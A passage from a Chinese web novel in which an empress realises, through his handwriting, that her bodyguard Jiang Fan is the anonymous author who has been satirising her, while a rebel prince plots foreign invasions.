玄老也颔首道,看向江凡的目光充满了善意和感激。
这小子,虽然修为不高,但背景深厚,为人也颇讲义气,值得一交。
最重要的是,他可是逍遥公子的徒弟啊!
江凡闻言,如蒙大赦,连忙拱手:
“多谢二位前辈体谅!那…晚辈就却之不恭了!”
他确实累得够呛,急需休息恢复精力。
他拖着疲惫的步伐,来到旁边专门为他准备的小帐篷,一头栽倒在简易床铺上。
身体虽然放松,脑子却停不下来。
女帝的逼婚、靖王的刺杀、三天后的‘相亲’、人气值的压力…
最后,他迷迷糊糊地想:不管了,先睡一觉,明天再说…希望明天更新的话本,能多赚点人气值…
女帝看了,会不会气得跳脚…
带着一丝恶作剧得逞的的心情,江凡沉沉睡去。
……
与此同时,西山围场外三十余里,一处隐藏于深山老林中的隐秘庄园内。
靖王萧恒,这位大夏的皇叔,正暴跳如雷,将书房内能砸的东西几乎砸了个遍!
名贵的瓷器、古董、字画,在他盛怒之下,化作满地狼藉。
他面目狰狞,双目赤红,如同择人而噬的野兽。
“废物!一群废物!极道宗师!大宗师!耗费本王无数心血、钱财才请来的高手!竟然全军覆没!连个水花都没溅起来?
萧璇月那个小**,竟然还活着!逍遥公子!又是那个该死的逍遥公子!坏我大事!坏我大事啊!”
他嘶声咆哮,声音中充满了怨毒与不甘。
“王爷息怒!”
下方,几名心腹幕僚和将领噤若寒蝉,其中一人硬着头皮上前道,
“那逍遥公子修为竟如此逆天,陆地神仙之能,鬼神莫测!此非战之罪…而且谁也没有料到,他竟然真的跟在女帝身边...”
“闭嘴!”
靖王一脚将他踹翻在地,面目扭曲,
“非战之罪?本王苦心经营多年,就换来一句非战之罪?!本王不甘心!不甘心啊!
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”
他喘着粗气,在满地狼藉中来回踱步,如同一头困兽。
良久,他才停下脚步,眼中闪烁着疯狂而阴冷的光芒:
“既然暗杀不成…那就怪不得本王了!启动备用计划!”
他猛地转身,盯着一名负责联络的幕僚,咬牙切齿道:
“立即飞鸽传书给北莽!告诉他们,本王等不及了!让他们立刻发兵!进攻北境!告诉耶律大汗,只要他拖住萧璇月的边军精锐,事成之后,本王愿割让北境三州之地,外加岁币翻倍!”
“是!王爷!”幕僚连忙应道。
“还有南蛮!”靖王目光又转向另一人,
“直接联系南蛮国主,告诉他,若他肯配合,在西南边境制造摩擦,拖住南疆的士兵,让他们无暇回援京城!
事成之后,本王愿以五州之地相赠!再加…再加本王世子,愿迎娶他南蛮公主,永结盟好!以后塔娜成为大夏太子妃,不比嫁给他们大祭司好吗?”
他连自己另一个儿子都拿出来当筹码了,可见已是狗急跳墙!
“王爷!这…代价是否太大了?”
有人忍不住出声。
“大?”
靖王冷笑,眼中闪烁着疯狂的光芒,
“只要能登上那个位置,区区几州之地,又算得了什么?成王败寇,本王已无退路!萧璇月不死,死的就是本王!快去办!”
“是!”
几名心腹不敢再多言,连忙领命而去。
靖王独自一人留在狼藉的书房中,走到窗前,望着远处西山围场的方向,眼神阴鸷得可怕:
“萧璇月…逍遥公子…江凡…你们都给本王等着!等北莽铁骑南下,南蛮烽烟再起,京城空虚之时,便是你们的死期!这大夏的江山,终究要回到本王手中!”
夜色如墨,掩不住这庄园深处汹涌的杀机。
一场更大、更血腥的风暴,正在暗中酝酿,即将席卷整个大夏。
而此刻,沉睡中的江凡,对此一无所知。
他正做着噩梦,梦到女帝拿着玉佩,追着他满皇宫跑,非要他‘负责’
……
第160章 他挺无辜的
第二天拂晓,天光微亮。
西山围场中军大帐内,萧璇月醒来。
她下意识地伸手向枕边摸索——果然,《深宫秘恋》最新话本,已静静躺在那里。
她深吸一口气,强压下心头的某种悸动,拿起话本迫不及待地翻阅起来。
知道逍遥公子就是江凡以后,再次看到话本,心情已经截然不同。
仔细回想,‘逍遥公子’早就通过话本,帮了她和大夏国很多很多...
然而,只看了几页,她脸上已经一片铁青,随即又泛起红晕,最后化为咬牙切齿的羞怒!
“岂有此理!真真是岂有此理!!”
她猛地将话本摔在床榻上,胸膛起伏不定,凤眸中几乎要喷出火来!
话本中,那个被她几乎要对号入座、影射她自己的‘大乾女帝’,竟与那不知所谓的‘国公世子’花前月下、诗词唱和、同乘一骑、甚至…
而‘林枫’却被弃如敝屣,在凄风苦雨中黯然离去!
字里行间,极尽渲染‘女帝’的薄情寡义、见异思迁,将‘林枫’的忠肝义胆、惨遭背弃写得是肝肠寸断、催人泪下!
“渣女!见一个爱一个?水性杨花?喜新厌旧?!”
萧璇月气得浑身发抖,银牙咬得咯咯作响。
打死也想不到这些词会套在‘自己’身上。
她昨夜逼婚,结果‘逍遥公子’这混账就在话本中如此编排羞辱!
这简直…简直想把那个小混蛋绑起来狠狠抽一顿!
她仿佛能看到那个混蛋,正躲在某个角落,一边写一边猥琐地偷笑!
“江、凡!”
她从牙缝里挤出这两个字,胸中怒火熊熊燃烧。
昨晚的试探,玉佩的疑点,加上眼前这‘含沙射影’、‘指桑骂槐’的话本。
她几乎可以百分之百确定,那个神出鬼没、可恶至极的逍遥公子,就是江凡这个小王八蛋!
什么神秘师尊,什么闲云野鹤,都是他编出来糊弄人的鬼话!
他一定在报复自己昨夜的‘逼婚’!
恰在此时,帐外传来江凡刻意压低的嗓音,似乎在跟值守的影老、玄老两位供奉说话。
“两位前辈辛苦啦!昨晚可还安好?晚辈熬了点安神补气的参汤,一会儿给陛下送去,也给两位前辈备了一份…”
萧璇月一听这声音,更是火上浇油!
这混账东西,把自己写成那样,还有脸在这里嬉皮笑脸、献殷勤?
她深吸一口气,强迫自己冷静下来,但眼中的寒光却愈发锐利。
好,好得很!
既然你喜欢演,喜欢写,那朕就陪你演到底、写个够!
“江凡!给朕滚进来!”
她带着怒意朝着帐外喝道。
帐外正跟两位供奉套近乎的江凡,被这突如其来的、充满**味的厉喝吓得一哆嗦。
他心里咯噔一下,暗道不妙!
这语气…来者不善啊!
是亲戚来了,还是…话本被她看到了?
他连忙整了整衣冠,换上一副略带惶恐的模样,小心翼翼地掀开帐帘,走了进去。
“臣江凡,拜见陛下!陛下万福金安!”
他躬身行礼,眼观鼻,鼻观心,不敢抬头。
萧璇月没有立刻叫他平身,而是用一双冰冷的凤眸,仔细地打量着他。
帐内的空气压得人喘不过气。
良久,就在江凡额角开始冒汗时,萧璇月忽然开口了,声音平静却让人心底发毛:
“江爱卿,你…是左脚先进来的,还是右脚先进来的?”
江凡:“啥!!!”
这熟悉的送命题!
这是要奖励我还是惩罚我?
看女帝眼中喷火的样子,估计不会是好事。
他立即想起前两次御书房的回答,心一横,咬牙道:
“回陛下!臣…臣是右脚先进来的!”
“哦?右脚?”
萧璇月微微挑眉,凤眸中闪过一丝戏谑,
“江爱卿,你可知,朕这中军大帐,乃是商议军国大事、发号施令之所在,庄严肃穆,岂容你以‘右脚’这等轻佻之姿踏入?此乃不敬!
再者,朕昨日受惊,龙体欠安,你身为御前侍卫,不思早早起身为朕准备早膳,滋补龙体,反而在此与旁人闲聊,懈怠职守!数罪并罚,你可知罪?”
江凡:“……”
他眼前一黑,差点一口老血喷出来!
这…这也能扯到不敬和懈怠?
还右脚轻佻?
怎么不说我头发开叉了?
您这找茬的理由能不能换一个?
他哭丧着脸:“臣知罪!臣有罪!请陛下降罪!”
他知道,辩解无用,越辩解死得越快,认怂才是王道。
萧璇月看着
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他这副委屈却又不敢反驳的模样,心中的怒火奇异般地消解了一小半。
她冷哼一声,慢条斯理地道:
“既然知罪,那便罚你——即刻去准备早膳!要清淡可口,滋补安神!若做得不合朕意,再加罚!
做完早膳,去辎重营,找主簿领十卷《金刚经》,给朕一字不差、工工整整地抄写十遍!三日内交上来!少一个字,或者有一处污损,朕唯你是问!”
抄…抄佛经?
还十遍?
《金刚经》全文五千多字,十遍就是五万多字!
三天?
江凡眼前又是一黑,差点晕过去。
这女人…太狠了!
绝对是看了话本,在报复!
但写话本的是‘逍遥公子’,你找我‘师傅’去啊,罚我江凡做什么?
欺软怕硬啊!
他欲哭无泪,却又不敢反抗,只能有气无力地应道:
“臣、臣遵旨…”
心里已经有些后悔,早知道女帝火气会发到自己身上,那昨晚就应该悠着点。
这下好了,把自己玩儿脱了...
“还不快去?”
萧璇月柳眉倒竖。
“是是是!臣这就去!这就去!”
江凡如蒙大赦,连忙退出了大帐,背影充满了悲愤和凄凉。
看着江凡落荒而逃的背影,萧璇月嘴角终于勾起一抹狡黠和‘大仇得报’般快意的弧度。
这时,云暮端着温水进来伺候梳洗,看到女帝脸色阴晴不定,手中还捏着话本,心中了然,低声道:
“陛下,何必为那等荒诞不经的文字动气,气坏了身子不值当。”
萧璇月将话本丢给她,没好气道:
“你自己看看!这逍遥公子,简直…简直欺人太甚!竟将朕写得如此不堪!水性杨花?见异思迁?他怎敢如此污蔑于朕!”
说到最后,又是咬牙切齿。
云暮接过话本,快速浏览了几页,也是看得面红耳赤,又觉好笑。
她掩口轻笑道:
“陛下息怒。这话本…虽言辞夸大,情节荒诞,但终究是市井小说,当不得真。逍遥公子前辈行事…向来高深莫测,或许…另有深意?”
她顿了顿,小心翼翼道,
“只是…陛下为何要将这气,撒在江世子身上?就算他是逍遥前辈的徒弟…您这样罚他,他也挺无辜的。”
第161章 好日子不多
“无辜?”
萧璇月冷笑一声,美眸中闪过一丝光芒,
“云暮,这小子可一点儿也不无辜!昨夜朕不过稍加试探,今日这话本便将朕骂得狗血淋头!”
云暮闻言,脸色渐渐变了:
“陛下是说…江世子他…”
后面的话,她没敢说出口,但眼中已满是震惊。
萧璇月没有直接回答,只是意味深长地看着帐外江凡离去的方向,幽幽道:
“**不离十!是不是他,很快便知。朕倒要看看,他能装到几时!抄写佛经?哼,算是便宜他了!先让他尝尝苦头!”
云暮看着女帝那副猫捉老鼠般的表情,心中暗暗为江凡捏了把汗,同时又有些哭笑不得。
这两位主子,倒有点欢喜冤家的意思。。
……
江凡垂头丧气地走向炊事营,心里已经把女帝翻来覆去一百遍。
早知道就不该贪图人气值乱写,现在好了,女帝的怒火全撒在他这个‘徒弟‘身上了!
抄佛经?还十遍?
三天?杀了他吧!
他撸起袖子,化悲愤为动力,开始捣鼓起早膳。
幸好昨日狩猎准备了不少新鲜食材,他挑选了几样,开始大展身手。
……
另一边,狩猎仪式即将开始。
校场之上,旌旗招展,甲胄鲜明。
文武百官、勋贵子弟、各部将士齐聚,气氛庄严肃穆。
高台之上,萧璇月已换上一身明黄猎装,外罩猩红披风,更显英姿飒爽,只是眉宇间依旧带着一丝冷意。
叛军首领屠燎,被五花大绑,押至台前。
他浑身是伤,血迹斑斑,但眼神依旧凶戾。
当他的目光扫过人群,看到端着食盒站在女帝侧后方的江凡时,眼中瞬间爆发出刻骨的仇恨和怨毒!
“江凡!狗贼!是你!都是你!坏我大事!我屠燎做鬼也不会放过你!”
他嘶声怒吼,声音沙哑如同破锣。
江凡被这突如其来的点名骂得一愣,随即翻了个白眼,懒得搭理这败军之将。
心里还惦记着那十遍佛经呢。
萧璇月凤眸一寒,厉声道:
“逆贼屠燎!勾结外邦,祸乱南疆,罪不容诛!今日,便以你之血,祭我大夏军旗,慰我阵亡将士在天之灵!来人!斩!”
“遵旨!”
两名膀大腰圆的刽子手上前,按住屠燎。
屠燎自知必死,反而狂笑起来,笑声凄厉而怨毒:
“哈哈哈...萧璇月,江凡!你们别得意,我的今天,就是你们的明天!好日子不多了,哈哈哈...北莽铁骑不日南下,南蛮烽火将起!
这大夏的江山,迟早要易主!你一个女子,无夫无子,孤家寡人,坐在那龙椅上,能坐得稳几时?哈哈哈…”
“放肆!”
“住口!”
台下群臣哗然,纷纷怒斥。
萧璇月脸色铁青,玉手紧握,指节发白。
她强压怒火,冷喝道:
“斩!”
“咔嚓!”
雪亮的刀光闪过,一颗大好头颅冲天而起,鲜血喷溅,染红了台前的土地。
屠燎狰狞的笑容凝固在脸上,那双充满怨恨的眼睛,至死都死死瞪着江凡和萧璇月的方向。
仪式完成,但屠燎临死前的狂言,却笼罩在众人心头。
北莽、南蛮…若两国同时发难,大夏将面临前所未有的危机!
萧璇月挥挥手,示意仪式继续,礼官开始唱喥,士兵们将准备好的鹿、獐、野兔等猎物驱入猎场。
但她已全然没了狩猎的心情,目光不由自主地瞥向身旁的江凡。
屠燎那句‘无夫无子,孤家寡人’,让她心中一涩,一种莫名的孤寂和压力涌上心头。
但江凡这家伙对自己忠心是没话说,但感情...好像也没有。
难道要自己这个女帝主动不成?
只见那家伙正低着头,似乎还在为佛经的事愁眉苦脸,对刚才屠燎的诅咒和提及的危机,仿佛浑然未觉。
“没心没肺!”
萧璇月心中暗骂一句,心中有些不爽。
这龙椅,坐得真是如履薄冰。
“陛下,”礼部尚书上前请示,
“吉时已到,是否开始行猎?”
萧璇月收回思绪,恢复了帝王的威仪,淡淡道:
“朕今日身体不适,便不入场了。
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传旨,凡我大夏官员子弟、军中儿郎,皆可入场狩猎!以三个时辰为限,所获猎物最多、最珍者,朕重重有赏!”
“陛下圣明!”
众人齐声应诺。
对于许多年轻子弟而言,这正是在女帝面前展现勇武、博取功名的大好机会,顿时摩拳擦掌,欢呼雀跃。
很快,马蹄声如雷,无数身影策马扬鞭,呼喝着冲入茫茫山林之中。
待人群散去,校场重新安静下来,江凡才端着早已备好的食盒,蹑手蹑脚地走到女帝临时歇息的营帐前,低声禀报:
“陛下,早膳已备好,请您用膳。”
“进来。”
帐内传来萧璇月清冷的声音。
江凡端着食盒进去,只见女帝已卸下披风,正坐在案几后,手扶额头,似在沉思,眉宇间带着疲惫与凝重。
他小心翼翼地将几样小菜和一碗鸡丝粥摆上案几,垂手侍立一旁。
粥菜的香气在帐内弥漫开来,萧璇月鼻翼微动,抬眸看了一眼。
只见那粥晶莹剔透,米粒开花,鸡丝细如发丝,点缀着翠绿的葱花;
几样小菜,或清炒,或凉拌,色泽鲜亮,摆盘精致,一看便令人食指大动。
她原本因屠燎之言和朝局烦闷而毫无食欲的胃,竟被这香气勾起了些许渴望。
她拿起玉箸,夹起一箸清炒时蔬放入口中,清脆爽口,火候恰到好处;
又舀了一勺粥,入口即化,鲜香满溢。
味道…竟出奇地好!
比她吃过的任何御厨所做,都更合她口味,仿佛能熨帖到她心底最深处的疲惫。
她忍不住又吃了几口,感觉一股暖流自胃部升起,驱散了些许寒意和烦闷。
这小子优点不少,要是选为帝君,每天给自己做饭好像也不错...
她放下玉箸,看向一旁眼观鼻鼻观心、装作不存在的江凡,语气听不出喜怒:
“你这厨艺,倒是愈发长进了。”
江凡连忙躬身:
“陛下喜欢便好。陛下操劳国事,龙体为重,需按时用膳。”
他嘴上说得恭敬,心里却嘀咕:赶紧吃,吃完了我好去抄那要命的佛经!
第162章 惊天大反转
萧璇月仿佛看穿了他的心思,淡淡道:
“朕用完了,味道尚可。佛经之事,莫要忘了。三日后,朕要看到十卷工工整整的《金刚经》。”
江凡脸一垮,有气无力地应道:
“臣…遵旨。”
他就知道逃不掉!
“嗯,退下吧。朕要歇息片刻,无事不得打扰。”
萧璇月挥挥手。
“臣告退。”
江凡如蒙大赦,赶紧溜之大吉。
看着江凡仓皇退出的背影,萧璇月嘴角微微上扬,但很快又抿成一条直线。
她走到帐边,掀开一角帘幕,望向远处郁郁葱葱、此刻正喧嚣震天的猎场山林,目光深邃。
“北莽…南蛮…靖王…你们还真是不消停啊。”
她低声自语,凤眸中寒光闪烁,
“想内外夹击,让朕顾此失彼?哼,朕倒要看看,你有多少本事!”
她转身,对侍立一旁的云暮道:
“传朕密旨,八百里加急,送往北境镇北侯、南疆安国公行辕,令他们加强戒备,严密监视北莽、南蛮动向,若有异动,即刻来报!另,传令京城,着兵部、户部,暗中筹备粮草军械,以防不测!”
“奴婢遵旨!”
云暮神色一凛,躬身领命。
萧璇月坐回案几后,拿起朱笔,开始批阅由京城快马送来的紧急奏章。
然而,屠燎临死前的狞笑、北莽南蛮可能的威胁、靖王隐藏的毒计,如同阴影般笼罩心头。
而那个可能就是‘逍遥公子’的混蛋身影,也不时在她脑海中闪现,搅得她心烦意乱。
“混账东西!抄十遍佛经,真是便宜你了!”
她恨恨地想,笔尖不自觉用力,在奏折上划出一道深深的墨痕。
……
这一日,就在这表面平静、内里暗流汹涌中度过。
狩猎的子弟们满载而归,各有封赏,但女帝始终未曾展露笑颜。
靖王及其党羽,如同人间蒸发,从头至尾未曾露面,仿佛昨夜的血战与他们毫无干系。
但这诡异的平静,反而让萧璇月、江撼岳等知情者更加警惕。
暴风雨前的宁静,往往最为可怕。
夜幕降临,篝火燃起,营地中弥漫着烤肉的香气和众人的欢声笑语,但核心区域的气氛,却依旧凝重。
江凡苦着脸在小帐篷里,开始了他悲催的抄经生涯。
一个个工整的楷字写得他手腕发酸,头晕眼花。
“观自在菩萨,行深般若波罗蜜多时,照见五蕴皆空,度一切苦厄…”
他一边抄,一边在心中暗骂自己,没事招惹那疯婆娘做什么!
这都叫什么事儿啊!
而中军大帐内,烛火通明。
萧璇月批完最后一份奏章,揉了揉发胀的太阳穴,目光不由自主地飘向帐外某个方向。
那混蛋…应该在抄经了吧?
想到他抓耳挠腮、苦不堪言的样子,她心中竟莫名地泛起一丝愉悦,连日的阴郁都似乎驱散了些许。
“陛下,夜已深,该安寝了。”
云暮轻声提醒。
“嗯。”
萧璇月应了一声,却没有立刻起身。
她沉吟片刻,忽然问道:
“云暮,江凡那小子,还没休息吧?”
云暮一愣,很快回道:
“世子的确一直在抄写,虽然他性子懒散,但陛下的命令还是不敢违逆。”
萧璇月眼神闪烁,不知在想些什么。
良久,她才挥挥手:
“罢了,退下吧。加强戒备,不可有丝毫松懈。”
“是。”
夜色渐深,西山围场营地一片寂静。
江凡一边机械地抄写着,一边在心里腹诽:
“空什么空!我现在就快被女帝逼疯了!十遍啊!要了我的老命了!”
他烦躁地扔下笔,揉着发胀的太阳穴,将心神沉入系统。
当看到那暴增的人气值时,烦躁的情绪才稍微缓解了一些。
【当前人气值:1,150,000】
一百一十五万!
距离两百万大关,只差八十多万了!
今天的收益不错,直接一百万人气值收益!
看来昨晚那章‘虐恋’剧情,虽然得罪了女帝,但人气值收入是实打实的!
照这个趋势,明天冲击两百万大有希望!
一旦凑够两百万,就能兑换第二张【陆地神仙体验卡】了!
到时候,就可以预留一张使用一张,用逍遥公子的身份跟女帝摊牌、解决‘逼婚’危机!
实在不行,还有跑路的资本…
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,他又重新燃起了斗志。
对!
不能坐以待毙!
必须主动出击!
既然昨晚那章‘渣女’剧情把女帝气得够呛,今天必须得补救一下,安抚安抚这位暴躁的女帝陛下的情绪,顺便继续赚取人气值。
否则,以她现在这‘更年期提前’的架势,自己接下来的日子怕是比抄十遍金刚经还难过。
“洗白!必须给女帝洗白!而且要洗得清新脱俗,洗得合情合理,最好还能顺便挖个坑,为后续剧情做铺垫!”
江凡摸着下巴,眼中闪烁着狡黠的光芒。
他重新拿起笔,不过这次不是抄经,而是开始了今日份的创作。
他文思如泉涌,下笔如有神助:
“最新章回:忍辱负重,林枫假意负气离京;明察暗访,女帝巧设连环计中计!”
书中,他笔锋一转,为昨日的‘虐恋’来了个惊天大反转!
原来,女帝对林枫的‘冷落疏远’,以及与‘国公世子’的‘亲密无间’,全都是两人精心策划的一场戏!
其目的,是为了迷惑潜伏在朝中的巨奸‘靖南王’!
林枫假意负气出走,实则奉了女帝密旨,暗中前往南疆,调查靖南王勾结叛军、通敌**的铁证!
而女帝在宫中,则是故意做出沉溺‘新欢’、不理朝政的假象,降低靖南王的警惕,同时暗中布局,准备收网!
书中详细描写了林枫如何历经千辛万苦,终于找到了靖南王与叛军、外邦往来的密信和信物。
以及女帝如何在宫中与心腹大臣密谋,调兵遣将,准备一举将靖南王及其党羽连根拔起!
情节环环相扣,惊心动魄,最终,在‘国公世子’的帮助下,证据被成功送回京城。
女帝在拿到铁证后,终于卸下伪装,在早朝之上雷霆震怒,下令彻查靖南王!
而林枫,也恰在此时,带着‘铁证如山’,风尘仆仆地赶回宫中,君臣重逢,一切尽在不言中…
书中还特意描写了女帝‘强忍思念’、‘夜夜垂泪’的隐忍,以及林枫‘忍辱负重’、‘九死一生’的忠诚。
将两人的‘虐恋’瞬间升华为了‘家国大义下的深情隐忍’和‘智计无双的默契配合’!
“嘿嘿,完美!”
第163章 这风格眼熟
江凡满意地检查了一遍,这剧情,既圆了之前的‘渣女’设定,又把女帝塑造成一个忍辱负重、智勇双全的明君。
还顺带把‘靖南王’的黑料提前爆了,为将来可能的冲突埋下伏笔。
最重要的是,这剧情足够反转,足够狗血,足够吸引眼球!
人气值,还不滚滚而来?
“提交!”
【作品检测中…完整性符合要求,审核通过。开始随机生成复刻本(6000份),投放中…】
【当前人气值:1,350,000】
江凡松了口气,带着对未来的期待和憧憬,强打起精神,继续与那该死的《金刚经》搏斗。
至于女帝看了这章会不会消气?
会不会相信?
管他呢!
先混过去再说!
……
次日清晨,天边刚泛起鱼肚白,营地中便响起了号角声。
萧璇月向来有早起的习惯,即便昨夜心绪不宁,辗转反侧,天色微亮时,她依旧准时醒来。
云暮悄无声息地进来伺候梳洗,眼神中带着一丝担忧和欲言又止。
萧璇月瞥了她一眼,淡淡问道:
“昨夜…可有什么动静?那话本出现了么?”
云暮轻轻点头,从袖中取出一本《深宫秘恋》,双手奉上:
“回陛下,今早刚在枕边发现的。奴婢…没敢看。”
萧璇月接过话本,指节有些发白。
她深吸一口气,然后缓缓翻开书页。
她心里有些矛盾,既想看看那个混账家伙又写了什么来编排自己,又怕看到的依旧是那些不堪入目的污言秽语,让自己好不容易平息的怒火再次燃起。
然而,看着看着,她紧蹙的眉头,渐渐舒展开来。
那双因为疲惫而略显黯淡的凤眸,一点点亮了起来。
从最初的疑惑,到惊讶,再到恍然,最后,嘴角竟不受控制地,微微向上弯起了一个弧度。
“哼!算他…还有点良心!”
她低声自语,语气中带着一丝轻松,以及一丝淡淡的甜意。
这混账,终于知道给自己‘洗白’了!
而且洗得…还挺像那么回事!
忍辱负重?
智计无双?
夜夜垂泪?
呸!
谁夜夜垂泪了!
不过…这故事编得,倒是有鼻子有眼,合情合理,甚至…还把她描写得英明神武、深情款款?
她合上话本,心情莫名好了不少。
至少,这家伙没有一‘黑’到底,还知道悬崖勒马,给自己找补回来。
看来,昨日的敲打,还是有效果的嘛。
“传膳吧。”
她将话本随手放在案几上,语气都轻快了几分。
“是。”
云暮松了口气,连忙应下。
看来陛下心情转好了。
萧璇月看着话本,却再次疑惑:江凡是怎么在各种高手眼皮子底下更新话本、然后送到不同地方的?
还是说,每天更新话本的,另有其人?
不多时,帐外传来江凡那带着明显困意、却又强打精神的声音:
“陛下,早膳已备好,请您用膳。”
“进来。”
萧璇月坐在案几后,端起茶杯,轻轻抿了一口,目光却不由自主地飘向帐帘。
帘子一掀,江凡顶着两个明显的黑眼圈,端着食盒,脚步有些虚浮地走了进来。
他显然一宿没睡,精神萎靡,但看到女帝,还是立刻挤出带着谄媚的笑容:
“陛下,您用早膳。这是臣…呃,是御厨精心准备的燕窝粥、翡翠虾饺、还有几样清淡小菜,您尝尝合不合胃口。”
萧璇月目光落在他脸上那对明显的熊猫眼上,心头升起莫名的舒坦?
这混蛋,抄经抄的?
活该!
谁让你写那些混账东西编排朕!
不过…看他这蔫头耷脑、敢怒不敢言的可怜样,似乎…也没那么可恨了?
“嗯,放着吧。”
她淡淡应了一声,放下茶杯,状似无意地问道:
“江爱卿,朕让你抄写的佛经,进度如何了?抄了多少了?”
来了来了!
催债的来了!
江凡心里一咯噔,脸上却不敢表露,苦着脸,老老实实回答:
“回陛下…臣…臣抄了一宿,手腕都快断了,才…才勉强抄完两遍…还…还差得远呢…”
他一边说,一边小心翼翼地观察着女帝的脸色,生怕她嫌慢再加罚。
“才两遍?”
萧璇月凤眉一挑,语气带着一丝不悦。
江凡心里一凸,这是要发飙的前奏!
他连忙认错:
“臣愚钝!臣…”
“行了。”萧璇月打断他的话,语气却出奇
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地没有发怒,
“看在你昨夜值守辛苦,又…咳咳,又为朕准备早膳的份上,剩下的,便免了吧。”
“啊?”
江凡一愣,猛地抬起头,难以置信地看着女帝。
免了?
这…太阳打西边出来了?
这女人转性了?
还是说…昨晚那章‘洗白’文效果这么好?
直接让她‘龙颜大悦’了?
看着他这副呆头鹅似的傻样,萧璇月嘴角的弧度又弯了弯,但很快被她压了下去,板着脸道:
“不过,那两遍既已抄了,便呈上来给朕瞧瞧。字迹如何?若是有敷衍了事、鬼画符一般,朕可要加倍罚你!”
“是是是!臣这就去取!字迹…字迹绝对工整!臣保证!”
江凡如同抓住了救命稻草,连滚爬爬地起身,一溜烟冲出大帐,去取他那血泪之作了。
心中狂喜:抄两遍就免了!
赚大了!
看来话本策略有效!
以后得多写点‘正面’形象!
看着江凡狼狈逃窜的背影,萧璇月终于忍不住,轻笑出声。
云暮在一旁也抿嘴偷笑,低声道:
“陛下,江世子他…似乎很怕您罚他抄经呢。”
“哼,那是他自找的。”
萧璇月轻哼一声,眼中却没什么怒意,反而带着一丝连她自己都未察觉的宠溺。
虽然话本还没有确定是江凡写的,但冒充逍遥公子的人,一定是江凡,她很确定。
她夹起一个虾饺放入口中,细细品味。
嗯,味道依旧鲜美可口,火候恰到好处。
这混蛋,虽然气人,但这厨艺…倒真是没得挑。
不多时,江凡捧着一叠宣纸,气喘吁吁地跑了回来,恭恭敬敬地呈上:
“陛下,这是臣抄写的《金刚经》前两遍,请您过目。”
萧璇月接过,随手翻了翻。
前面几页,字迹‘潦草’但还算工整。
她心中暗自点头,这倒符合他平日里‘不学无术’的纨绔形象。
然而,翻到后面,她的目光骤然一凝!
字迹…变了!
虽然依旧‘潦草’,但笔锋之间,多了一股莫名的流畅与神韵!
起承转合,圆融自如;撇捺勾折,隐隐带着一种独特的、锐利又不失飘逸的风骨!
这风格…为何如此眼熟?
第164章 这怎么可能
萧璇月心脏猛地一跳,几乎一把抓过案几上那本《深宫秘恋》最新章回,快速翻到其中一页,目光死死盯住上面的字迹!
虽然话本是印刷体,但某些字的间架结构、笔意神韵,尤其是那些独特的书写习惯…与这《金刚经》后面几页的字迹,何其相似!
不,不是相似!
是…一模一样!
尤其是那份隐藏在工整之下的、难以模仿的、独特的书写节奏和神韵!
这绝不是巧合!
更不可能是师徒能传承得如此惟妙惟肖的!
就算是临摹,也绝无可能将那份骨子里的‘神’都模仿出来!
唯一的解释就是——这两者,出自同一人之手!
萧璇月握着宣纸和话本的手,微微颤抖起来!
之前所有的怀疑、猜测…在这一刻,再也没有任何侥幸!
江凡!
就是写《深宫秘恋》的逍遥公子,那个从连载开始,就一直暗中帮助大夏国的神秘高人!
他根本没有什么神秘的师尊,也没有别人帮他写!
‘逍遥公子’一直都在自己身边!
这个在自己面前装疯卖傻、插科打诨、时而忠心耿耿、时而惫懒无赖的小混蛋!
他一直在演戏!
把自己,把所有人都耍得团团转!
只是他是如何在所有人监视下,还能更新、甚至将话本传送出去的?
莫名的惊喜感,让她呼吸急促。
“陛下?陛下?您怎么了?可是这字…写得实在太丑,污了圣目?”
江凡见女帝拿着他抄的经书,脸色变幻不定,半晌不说话,心里直打鼓,小心翼翼地问道。
萧璇月猛地回过神,深吸一口气,努力让自己的声音听起来平静无波:
“没…没什么。字…尚可。虽无风骨,倒也工整。”
她将经书和话本都放下,看似随意地叠在一起,指尖却微微颤抖。
她抬起凤眸,目光复杂地看向眼前这个一脸无辜、还带着两个黑眼圈的混蛋。
此刻,她眼中的江凡,似乎与那个神秘强大、却又‘笨拙’地为她疗伤的身影,完全重叠在了一起!
那给自己疗伤,看了自己身子,又帮自己穿衣服的,也是江凡!
他早就通过话本,一次次的帮助自己和大夏国。
税银案、南疆阴谋、治国之策、传世诗词、还有救她时展示的逆天修为和医术...
原来,这个外表懒散的家伙,身上有这么多优点。
“陛下,您…您脸色似乎不太好,可是早膳不合胃口?还是…伤势又发作了?”
江凡被女帝那‘复杂’的目光看得心里发毛,试探着问道。
这女人怎么回事?
刚才还好好的,怎么突然就像要吃了自己似的?
萧璇月深深看了他一眼,良久,她才缓缓开口:
“朕…无事。早膳很好。你…退下吧。朕…有些乏了,想静一静。”
“哦哦,臣告退,陛下您好好休息!”
江凡如蒙大赦,赶紧躬身行礼,几乎是逃也似地退出了大帐。
走出帐外,被清晨的凉风一吹,他才感觉后背有些发凉。
奇怪,女帝刚才看自己的眼神…怎么那么怪?
难道…她发现了什么?
不可能啊!
自己演技这么好!
抄经也很认真用的另外一种笔迹!
一定是错觉!
对,一定是她大姨妈还没走,情绪不稳定!
他自我安慰着,溜回自己的小帐篷补觉去了。
帐内,萧璇月独自一人坐在案几后。
她的目光,再次落在那叠《金刚经》和那本《深宫秘恋》上。
伸出纤纤玉指,轻轻拂过经书上那逐渐‘暴露’的字迹,又抚过话本上印刷的、却带着相同神韵的文字,指尖微微颤抖。
“江凡…逍遥公子…!”
她低声喃喃,心中有些复杂,
“把朕…把所有人都耍得团团转的家伙,有如此通天彻地的能力,为什么要一直伪装自己?”
“陛下?”
云暮见她神色不对,担忧地轻声唤道。
萧璇月抬起头,看向云暮,眼中闪烁着奇异的光芒。
既然已经确定江凡的身份,那也不用卖关子。
她将经书和话本推到云暮面前,指了指其中几处关键的字迹,
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声音压得极低:
“云暮,你来看。这字迹…”
云暮疑惑地凑近,仔细对比着经书和话本上的字迹。
她是萧璇月的心腹,不仅武艺高强,对书画也颇有涉猎。
起初还有些不明所以,但很快,她的美眸也越瞪越大,脸上露出了难以置信的惊骇之色!
她猛地抬头看向萧璇月,声音带着颤抖:
“陛下!这…这字迹的起笔、收锋、间架、甚至…甚至某些字的独特写法习惯…几乎一模一样!这…这怎么可能?!难道…难道江世子他…他真的…”
如果之前对江凡只是怀疑,那现在的字迹,已经能彻底确定了!
后面的话,她不敢说出口,因为这太惊世骇俗了!
萧璇月缓缓点头,凤眸中闪烁着洞悉一切的光芒,嘴角勾起一抹意味深长的弧度:
